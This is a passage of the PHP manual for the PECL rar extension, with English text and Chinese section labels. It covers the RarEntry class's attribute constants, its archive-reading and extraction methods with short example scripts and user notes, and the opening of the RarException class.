const int ATTRIBUTE_WIN_READONLY = 1;
const int ATTRIBUTE_WIN_HIDDEN = 2;
const int ATTRIBUTE_WIN_SYSTEM = 4;
const int ATTRIBUTE_WIN_DIRECTORY = 16;
const int ATTRIBUTE_WIN_ARCHIVE = 32;
const int ATTRIBUTE_WIN_DEVICE = 64;
const int ATTRIBUTE_WIN_NORMAL = 128;
const int ATTRIBUTE_WIN_TEMPORARY = 256;
const int ATTRIBUTE_WIN_SPARSE_FILE = 512;
const int ATTRIBUTE_WIN_REPARSE_POINT = 1024;
const int ATTRIBUTE_WIN_COMPRESSED = 2048;
const int ATTRIBUTE_WIN_OFFLINE = 4096;
const int ATTRIBUTE_WIN_NOT_CONTENT_INDEXED = 8192;
const int ATTRIBUTE_WIN_ENCRYPTED = 16384;
const int ATTRIBUTE_WIN_VIRTUAL = 65536;
const int ATTRIBUTE_UNIX_WORLD_EXECUTE = 1;
const int ATTRIBUTE_UNIX_WORLD_WRITE = 2;
const int ATTRIBUTE_UNIX_WORLD_READ = 4;
const int ATTRIBUTE_UNIX_GROUP_EXECUTE = 8;
const int ATTRIBUTE_UNIX_GROUP_WRITE = 16;
const int ATTRIBUTE_UNIX_GROUP_READ = 32;
const int ATTRIBUTE_UNIX_OWNER_EXECUTE = 64;
const int ATTRIBUTE_UNIX_OWNER_WRITE = 128;
const int ATTRIBUTE_UNIX_OWNER_READ = 256;
const int ATTRIBUTE_UNIX_STICKY = 512;
const int ATTRIBUTE_UNIX_SETGID = 1024;
const int ATTRIBUTE_UNIX_SETUID = 2048;
const int ATTRIBUTE_UNIX_FINAL_QUARTET = 61440;
const int ATTRIBUTE_UNIX_FIFO = 4096;
const int ATTRIBUTE_UNIX_CHAR_DEV = 8192;
const int ATTRIBUTE_UNIX_DIRECTORY = 16384;
const int ATTRIBUTE_UNIX_BLOCK_DEV = 24576;
const int ATTRIBUTE_UNIX_REGULAR_FILE = 32768;
const int ATTRIBUTE_UNIX_SYM_LINK = 40960;
const int ATTRIBUTE_UNIX_SOCKET = 49152;
/* 方法 */
public extract(
string $dir,
string $filepath = "",
string $password = NULL,
bool $extended_data = false
): bool
public getAttr(): int
public getCrc(): string
public getFileTime(): string
public getHostOs(): int
public getMethod(): int
public getName(): string
public getPackedSize(): int
public getStream(string $password = ?): resource|false
public getUnpackedSize(): int
public getVersion(): int
public isDirectory(): bool
public isEncrypted(): bool
public __toString(): string
}

预定义常量

RarEntry::HOST_MSDOS

If the return value of RarEntry::getHostOs() equals this constant, MS-DOS was used to add this entry. Use instead of RAR_HOST_MSDOS.

RarEntry::HOST_OS2

If the return value of RarEntry::getHostOs() equals this constant, OS/2 was used to add this entry. Intended to replace RAR_HOST_OS2.

RarEntry::HOST_WIN32

If the return value of RarEntry::getHostOs() equals this constant, Microsoft Windows was used to add this entry. Intended to replace RAR_HOST_WIN32.

RarEntry::HOST_UNIX

If the return value of RarEntry::getHostOs() equals this constant, an unspecified UNIX OS was used to add this entry. Intended to replace RAR_HOST_UNIX.

RarEntry::HOST_MACOS

If the return value of RarEntry::getHostOs() equals this constant, Mac OS was used to add this entry.

RarEntry::HOST_BEOS

If the return value of RarEntry::getHostOs() equals this constant, BeOS was used to add this entry. Intended to replace RAR_HOST_BEOS.

RarEntry::ATTRIBUTE_WIN_READONLY

Bit that represents a Windows entry with a read-only attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_HIDDEN

Bit that represents a Windows entry with a hidden attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SYSTEM

Bit that represents a Windows entry with a system attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DIRECTORY

Bit that represents a Windows entry with a directory attribute (entry is a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_ARCHIVE

Bit that represents a Windows entry with an archive attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DEVICE

Bit that represents a Windows entry with a device attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NORMAL

Bit that represents a Windows entry with a normal file attribute (entry is NOT a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_TEMPORARY

Bit that represents a Windows entry with a temporary attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SPARSE_FILE

Bit that represents a Windows entry with a sparse file attribute (file is an NTFS sparse file). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_REPARSE_POINT

Bit that represents a Windows entry with a reparse point attribute (entry is an NTFS reparse point, e.g. a directory junction or a mount file system). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_COMPRESSED

Bit that represents a Windows entry with a compressed attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_OFFLINE

Bit that represents a Windows entry with an offline attribute (entry is offline and not accessible). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NOT_CONTENT_INDEXED

Bit that represents a Windows entry with a not content indexed attribute (entry is to be indexed). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_ENCRYPTED

Bit that represents a Windows entry with an encrypted attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_VIRTUAL

Bit that represents a Windows entry with a virtual attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_UNIX_WORLD_EXECUTE

Bit that represents a UNIX entry that is world executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_WRITE

Bit that represents a UNIX entry that is world writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_READ

Bit that represents a UNIX entry that is world readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_EXECUTE

Bit that represents a UNIX entry that is group executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_WRITE

Bit that represents a UNIX entry that is group writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_READ

Bit that represents a UNIX entry that is group readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_EXECUTE

Bit that represents a UNIX entry that is owner executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_WRITE

Bit that represents a UNIX entry that is owner writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_READ

Bit that represents a UNIX entry that is owner readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_STICKY

Bit that represents the UNIX sticky bit. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETGID

Bit that represents the UNIX setgid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETUID

Bit that represents the UNIX setuid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET

Mask to isolate the last four bits (nibble) of UNIX attributes
      (_S_IFMT, the type of file mask). To be used with
      RarEntry::getAttr() on entries whose host OS is UNIX and with the
      constants RarEntry::ATTRIBUTE_UNIX_FIFO,
      RarEntry::ATTRIBUTE_UNIX_CHAR_DEV,
      RarEntry::ATTRIBUTE_UNIX_DIRECTORY,
      RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV,
      RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE,
      RarEntry::ATTRIBUTE_UNIX_SYM_LINK and
      RarEntry::ATTRIBUTE_UNIX_SOCKET.

RarEntry::ATTRIBUTE_UNIX_FIFO

Unix FIFOs will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_CHAR_DEV

Unix character devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_DIRECTORY

Unix directories will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV

Unix block devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE

Unix regular files (not directories) will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_SYM_LINK

Unix symbolic links will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_SOCKET

Unix sockets will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

Table of Contents

  • RarEntry::extract — Extract entry from the archive
  • RarEntry::getAttr — Get attributes of the entry
  • RarEntry::getCrc — Get CRC of the entry
  • RarEntry::getFileTime — Get entry last modification time
  • RarEntry::getHostOs — Get entry host OS
  • RarEntry::getMethod — Get pack method of the entry
  • RarEntry::getName — Get name of the entry
  • RarEntry::getPackedSize — Get packed size of the entry
  • RarEntry::getStream — Get file handler for entry
  • RarEntry::getUnpackedSize — Get unpacked size of the entry
  • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
  • RarEntry::isDirectory — Test whether an entry represents a directory
  • RarEntry::isEncrypted — Test whether an entry is encrypted
  • RarEntry::__toString — Get text representation of entry

User Contributed Notes

There are no user contributed notes for this page.


Extract entry from the archive

  • ? RarEntry
  • RarEntry::getAttr ?
  • PHP Manual
  • RarEntry
  • Extract entry from the archive

RarEntry::extract

(PECL rar >= 0.1)

RarEntry::extract — Extract entry from the archive

说明

public RarEntry::extract(
string $dir,
string $filepath = "",
string $password = NULL,
bool $extended_data = false
): bool

RarEntry::extract() extracts the entry's data. It will create new file in the specified dir with the name identical to the entry's name, unless the second argument is specified. See below for more information.

参数

dir

Path to the directory where files should be extracted. This parameter is considered if and only if filepath is not. If both parameters are empty an extraction to the current directory will be attempted.

filepath

Path (relative or absolute) containing the directory and filename of the extracted file. This parameter overrides both the parameter dir and the original file name.

password

The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), CRC checking will fail and this method will fail and return false. If no password is given and one is required, this method will fail and return false. You can check whether an entry is encrypted with RarEntry::isEncrypted().

extended_data

If true, extended information such as NTFS ACLs and Unix owner information will be set in the extract files, as long as it's present in the archive.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL rar 3.0.0 | extended_data was added.
PECL rar 3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

示例

Example #1 RarEntry::extract() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

$entry->extract('/dir/to'); // create /dir/to/Dir/file.txt
$entry->extract(false, '/dir/to/new_name.txt'); // create /dir/to/new_name.txt

?>

Example #2 How to extract all files in archive:

<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
$entry = rar_entry_get($rar_file, $file);
$entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>

参见

  • RarEntry::getStream() - Get file handler for entry
  • rar:// wrapper

User Contributed Notes

nelson_km_94 at hotmail dot com 27-Jan-2015 07:41
Example #2 has a mistake.

This one works fine:
<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file->getName());
    $entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>
Anonymous 20-May-2013 05:29
If the entry to extract is a directory as per RarEntry::isDirectory(), this method does not seem to extract the entries below that directory as one might expect from using the command-line RAR or WinRAR.


Get attributes of the entry

  • ? RarEntry::extract
  • RarEntry::getCrc ?
  • PHP Manual
  • RarEntry
  • Get attributes of the entry

RarEntry::getAttr

(PECL rar >= 0.1)

RarEntry::getAttr — Get attributes of the entry

说明

public RarEntry::getAttr(): int

Returns the OS-dependent attributes of the archive entry.

参数

此函数没有参数。

返回值

Returns the attributes or false on error.

示例

Example #1 RarEntry::getAttr() example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("Can't find such entry");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
case RAR_HOST_MSDOS:
case RAR_HOST_OS2:
case RAR_HOST_WIN32:
case RAR_HOST_MACOS:
printf("%c%c%c%c%c%c\n",
($attr & 0x08) ? 'V' : '.',
($attr & 0x10) ? 'D' : '.',
($attr & 0x01) ? 'R' : '.',
($attr & 0x02) ? 'H' : '.',
($attr & 0x04) ? 'S' : '.',
($attr & 0x20) ? 'A' : '.');
break;
case RAR_HOST_UNIX:
case RAR_HOST_BEOS:
switch ($attr & 0xF000)
{
case 0x4000:
printf("d");
break;
case 0xA000:
printf("l");
break;
default:
printf("-");
break;
}
printf("%c%c%c%c%c%c%c%c%c\n",
($attr & 0x0100) ? 'r' : '-',
($attr & 0x0080) ? 'w' : '-',
($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
($attr & 0x0020) ? 'r' : '-',
($attr & 0x0010) ? 'w' : '-',
($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
($attr & 0x0004) ? 'r' : '-',
($attr & 0x0002) ? 'w' : '-',
($attr & 0x0001) ? 'x' : '-');
break;
}

rar_close($rar_file);

?>

参见

  • RarEntry::getHostOs() - Get entry host OS
  • The constants in RarEntry

User Contributed Notes

There are no user contributed notes for this page.


Get CRC of the entry

  • ? RarEntry::getAttr
  • RarEntry::getFileTime ?
  • PHP Manual
  • RarEntry
  • Get CRC of the entry

RarEntry::getCrc

(PECL rar >= 0.1)

RarEntry::getCrc — Get CRC of the entry

说明

public RarEntry::getCrc(): string

Returns an hexadecimal string representation of the CRC of the archive entry.

参数

此函数没有参数。

返回值

Returns the CRC of the archive entry or false on error.

更新日志

版本 | 说明
PECL rar 2.0.0 | This method now returns correct values for multiple volume archives.

User Contributed Notes

aterlux at mail dot ru 19-Sep-2018 04:00
RarEntry::getCrc() returs a lowercase hex-string (e.g. 'bf6fa85c') the same as hash_... functions, using the same polynomial as 'crc32b' algorithm.
So, it can be used to check CRC after a stream unpacking:

<?php
  $archive_name = 'archive.rar';

  $entry_name = 'someentry.ext';

  $rar = RarArchive::open($archive_name) or die("Cannot open archive $archive_name");

  if ($rar->isBroken()) {
    die("The archive is broken!");
  }

  $entry = $rar->getEntry($entry_name) or die("Cannot find entry $entry_name");

  $stream = $entry->getStream() or die("Cannot open stream");

  $crc = hash_init('crc32b'); // Initializing the hash function

  while (!feof($stream)) {
    $s = fread($stream, 8192);
    if ($s === false) {
        // Error reading (do not use fread(...) or die(...), because fread can return '0'!)
      die('Error reading the compressed file.');
    }
    hash_update($crc, $s); // updating the hash

    // ...
    // Do whatever with the $s
  }

  fclose($stream);

  $got_crc = hash_final($crc);
  $need_crc = $entry->getCrc();

  print("Got CRC: $got_crc" . PHP_EOL);
  print("Need CRC: $need_crc" . PHP_EOL);

  if ($got_crc != $need_crc) {
    // rollback
    print("Sorry guys, the file was incorrect!" . PHP_EOL);
  } else {
    print("Everything is ok" . PHP_EOL);
  }
?>


Get entry last modification time

  • ? RarEntry::getCrc
  • RarEntry::getHostOs ?
  • PHP Manual
  • RarEntry
  • Get entry last modification time

RarEntry::getFileTime

(PECL rar >= 0.1)

RarEntry::getFileTime — Get entry last modification time

说明

public RarEntry::getFileTime(): string

Gets entry last modification time.

参数

此函数没有参数。

返回值

Returns entry last modification time as string in format YYYY-MM-DD HH:II:SS, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Get entry host OS

  • ? RarEntry::getFileTime
  • RarEntry::getMethod ?
  • PHP Manual
  • RarEntry
  • Get entry host OS

RarEntry::getHostOs

(PECL rar >= 0.1)

RarEntry::getHostOs — Get entry host OS

说明

public RarEntry::getHostOs(): int

Returns the code of the host OS of the archive entry.

参数

此函数没有参数。

返回值

Returns the code of the host OS, or false on error.

示例

Example #1 RarEntry::getHostOs() example (version >= 2.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
case RarEntry::HOST_MSDOS:
echo "MS-DOS\n";
break;
case RarEntry::HOST_OS2:
echo "OS2\n";
break;
case RarEntry::HOST_WIN32:
echo "Win32\n";
break;
case RarEntry::HOST_MACOS:
echo "MacOS\n";
break;
case RarEntry::HOST_UNIX:
echo "Unix/Linux\n";
break;
case RarEntry::HOST_BEOS:
echo "BeOS\n";
break;
}

?>

Example #2 RarEntry::getHostOs() example (version <= 1.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
case RAR_HOST_MSDOS:
echo "MS-DOS\n";
break;
case RAR_HOST_OS2:
echo "OS2\n";
break;
case RAR_HOST_WIN32:
echo "Win32\n";
break;
case RAR_HOST_MACOS:
echo "MacOS\n";
break;
case RAR_HOST_UNIX:
echo "Unix/Linux\n";
break;
case RAR_HOST_BEOS:
echo "BeOS\n";
break;
}

?>

参见

  • RarEntry::extract() - Extract entry from the archive

User Contributed Notes

There are no user contributed notes for this page.


Get pack method of the entry

  • ? RarEntry::getHostOs
  • RarEntry::getName ?
  • PHP Manual
  • RarEntry
  • Get pack method of the entry

RarEntry::getMethod

(PECL rar >= 0.1)

RarEntry::getMethod — Get pack method of the entry

说明

public RarEntry::getMethod(): int

RarEntry::getMethod() returns number of the method used when adding current archive entry.

参数

此函数没有参数。

返回值

Returns the method number or false on error.

示例

Example #1 RarEntry::getMethod() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Method number: " . $entry->getMethod();

?>

User Contributed Notes

There are no user contributed notes for this page.


Get name of the entry

  • ? RarEntry::getMethod
  • RarEntry::getPackedSize ?
  • PHP Manual
  • RarEntry
  • Get name of the entry

RarEntry::getName

(PECL rar >= 0.1)

RarEntry::getName — Get name of the entry

说明

public RarEntry::getName(): string

Returns the name (with path) of the archive entry.

参数

此函数没有参数。

返回值

Returns the entry name as a string, or false on error.

更新日志

版本 | 说明
PECL rar 2.0.0 | As of version 2.0.0, the returned string is encoded in Unicode/UTF-8.

示例

Example #1 RarEntry::getName() example

<?php

//this example is safe even in pages not encoded in UTF-8
//for those encoded in UTF-8, the call to mb_convert_encoding is unnecessary

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Entry name: " . mb_convert_encoding(
htmlentities(
$entry->getName(),
ENT_COMPAT,
"UTF-8"
),
"HTML-ENTITIES",
"UTF-8"
);

?>

User Contributed Notes

There are no user contributed notes for this page.


Get packed size of the entry

  • ? RarEntry::getName
  • RarEntry::getStream ?
  • PHP Manual
  • RarEntry
  • Get packed size of the entry

RarEntry::getPackedSize

(PECL rar >= 0.1)

RarEntry::getPackedSize — Get packed size of the entry

说明

public RarEntry::getPackedSize(): int

Get packed size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

参数

此函数没有参数。

返回值

Returns the packed size, or false on error.

更新日志

版本 | 说明
PECL rar 2.0.0 | This method now returns correct values of packed sizes bigger than 2 GiB on platforms with 64-bit ints and never returns negative values on other platforms.

示例

Example #1 RarEntry::getPackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Packed size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.


Get file handler for entry

  • ? RarEntry::getPackedSize
  • RarEntry::getUnpackedSize ?
  • PHP Manual
  • RarEntry
  • Get file handler for entry

RarEntry::getStream

(PECL rar >= 2.0.0)

RarEntry::getStream — Get file handler for entry

说明

public RarEntry::getStream(string $password = ?): resource|false

Returns a file handler that supports read operations. This handler provides on-the-fly decompression for this entry.

The handler is not invalidated by calling rar_close().

Warning

The resulting stream has no integrity verification. In particular, file corruption and decryption with a wrong a key will not be detected. It is the programmer's responsability to use the entry's CRC to check for integrity, if he so wishes.

参数

password

The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), this method's resulting stream will produce wrong output. If no password is given and one is required, this method will fail and return false. You can check whether an entry is encrypted with RarEntry::isEncrypted().

返回值

The file handler 或者在失败时返回 false.

更新日志

版本 | 说明
PECL rar 3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

示例

Example #1 RarEntry::getStream() example

<?php

$rar_file = rar_open('example.rar');
if ($rar_file === false)
die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt');
if ($entry === false)
die("Failed to find such entry");

$stream = $entry->getStream();
if ($stream === false)
die("Failed to obtain stream.");

rar_close($rar_file); //stream is independent from file

while (!feof($stream)) {
$buff = fread($stream, 8192);
if ($buff !== false)
echo $buff;
else
break; //fread error
}

fclose($stream);

?>

参见

  • RarEntry::extract() - Extract entry from the archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


Get unpacked size of the entry

  • ? RarEntry::getStream
  • RarEntry::getVersion ?
  • PHP Manual
  • RarEntry
  • Get unpacked size of the entry

RarEntry::getUnpackedSize

(PECL rar >= 0.1)

RarEntry::getUnpackedSize — Get unpacked size of the entry

说明

public RarEntry::getUnpackedSize(): int

Get unpacked size of the archive entry.

Note:

Note that on platforms with 32-bit longs (that includes Windows x64), the maximum size returned is capped at 2 GiB. Check the constant PHP_INT_MAX.

参数

此函数没有参数。

返回值

Returns the unpacked size, or false on error.

更新日志

版本 | 说明
PECL rar 2.0.0 | This method now returns correct values of unpacked sizes bigger than 2 GiB on platforms with 64-bit ints and never returns negative values on other platforms.

返回值

Example #1 RarEntry::getUnpackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Unpacked size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

User Contributed Notes

There are no user contributed notes for this page.


Get minimum version of RAR program required to unpack the entry

  • ? RarEntry::getUnpackedSize
  • RarEntry::isDirectory ?
  • PHP Manual
  • RarEntry
  • Get minimum version of RAR program required to unpack the entry

RarEntry::getVersion

(PECL rar >= 0.1)

RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry

说明

public RarEntry::getVersion(): int

Returns minimum version of RAR program (e.g. WinRAR) required to unpack the entry. It is encoded as 10 * major version + minor version.

参数

此函数没有参数。

返回值

Returns the version or false on error.

示例

Example #1 RarEntry::getVersion() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Rar version required for unpacking: " . $entry->getVersion();

?>

User Contributed Notes

There are no user contributed notes for this page.


Test whether an entry represents a directory

  • ? RarEntry::getVersion
  • RarEntry::isEncrypted ?
  • PHP Manual
  • RarEntry
  • Test whether an entry represents a directory

RarEntry::isDirectory

(PECL rar >= 2.0.0)

RarEntry::isDirectory — Test whether an entry represents a directory

说明

public RarEntry::isDirectory(): bool

Tests whether the current entry is a directory.

参数

此函数没有参数。

返回值

Returns true if this entry is a directory and false otherwise.

注释

This function is only available starting with version 2.0.0, but one can also test whether an entry is a directory by checking the entry attributes, like this (only works for files compressed in RAR for Windows or Unix):

<?php
//...
//Open file, get entry and store in variable $e...
//...

$isDirectory = (bool) ((($e->getHostOs() == RAR_HOST_WIN32) && ($e->getAttr() & 0x10)) ||
(($e->getHostOs() == RAR_HOST_UNIX) && (($e->getAttr() & 0xf000) == 0x4000)));
?>

User Contributed Notes

There are no user contributed notes for this page.


Test whether an entry is encrypted

  • ? RarEntry::isDirectory
  • RarEntry::__toString ?
  • PHP Manual
  • RarEntry
  • Test whether an entry is encrypted

RarEntry::isEncrypted

(PECL rar >= 2.0.0)

RarEntry::isEncrypted — Test whether an entry is encrypted

说明

public RarEntry::isEncrypted(): bool

Tests whether the current entry contents are encrypted.

Note:

The password used may differ between files inside the same RAR archive.

参数

此函数没有参数。

返回值

Returns true if the current entry is encrypted and false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get text representation of entry

  • ? RarEntry::isEncrypted
  • RarException ?
  • PHP Manual
  • RarEntry
  • Get text representation of entry

RarEntry::__toString

(PECL rar >= 2.0.0)

RarEntry::__toString — Get text representation of entry

说明

public RarEntry::__toString(): string

RarEntry::__toString() returns a textual representation for this entry. It includes whether the entry is a file or a directory (symbolic links and other special objects will be treated as files), the UTF-8 name of the entry and its CRC. The form and content of this representation may be changed in the future, so they cannot be relied upon.

参数

此函数没有参数。

返回值

A textual representation for the entry.

User Contributed Notes

There are no user contributed notes for this page.


The RarException class

(PECL rar >= 2.0.0)

简介

This class serves two purposes: it is the type of the exceptions thrown by the RAR extension functions and methods and it allows, through static methods to query and define the error behaviour of the extension, i.e., whether exceptions are thrown or only warnings are emitted.

The following error codes are used:

  • -1 - error outside UnRAR library
  • 11 - insufficient memory
  • 12 - bad data
  • 13 - bad archive
  • 14 - unknown format
  • 15 - file open error
  • 16 - file create error
  • 17 - file close error
  • 18 - read error
  • 19 - write error
  • 20 - buffer too small
  • 21 - unknown RAR error
  • 22 - password required but not given

类摘要

final class RarException extends Exception {
/* 方法 */
public static isUsingExceptions(): bool
public static setUsingExceptions(bool $using_exceptions): void
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Table of Contents

  • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
  • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


Check whether error handling with exceptions is in use

  • ? RarException
  • RarException::setUsingExceptions ?
  • PHP Manual
  • RarException
  • Check whether error handling with exceptions is in use

RarException::isUsingExceptions

(PECL rar >= 2.0.0)

RarException::isUsingExceptions — Check whether error handling with exceptions is in use

说明

public static RarException::isUsingExceptions(): bool

Checks whether the RAR functions will emit warnings and return error values or whether they will throw exceptions in most of the circumstances (does not include some programmatic errors such as passing the wrong type of arguments).

参数

此函数没有参数。

返回值

Returns true if exceptions are being used, false otherwise.

示例

Example #1 RarException::isUsingExceptions() example

<?php
//The default is not to use exceptions
var_dump(RarException::isUsingExceptions());
?>

以上示例的输出类似于：

bool(false)

参见

  • RarException::setUsingExceptions() - Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


Activate and deactivate error handling with exceptions

  • ? RarException::isUsingExceptions
  • Zip ?
  • PHP Manual
  • RarException
  • Activate and deactivate error handling with exceptions

RarException::setUsingExceptions

(PECL rar >= 2.0.0)

RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

说明

public static RarException::setUsingExceptions(bool $using_exceptions): void

If and only if the argument is true, then, instead of emitting warnings and returning a special value indicating error when the UnRAR library encounters an error, an exception of type RarException will be thrown.

Exceptions will also be thrown for the following errors, which occur outside the library (their error code will be -1):

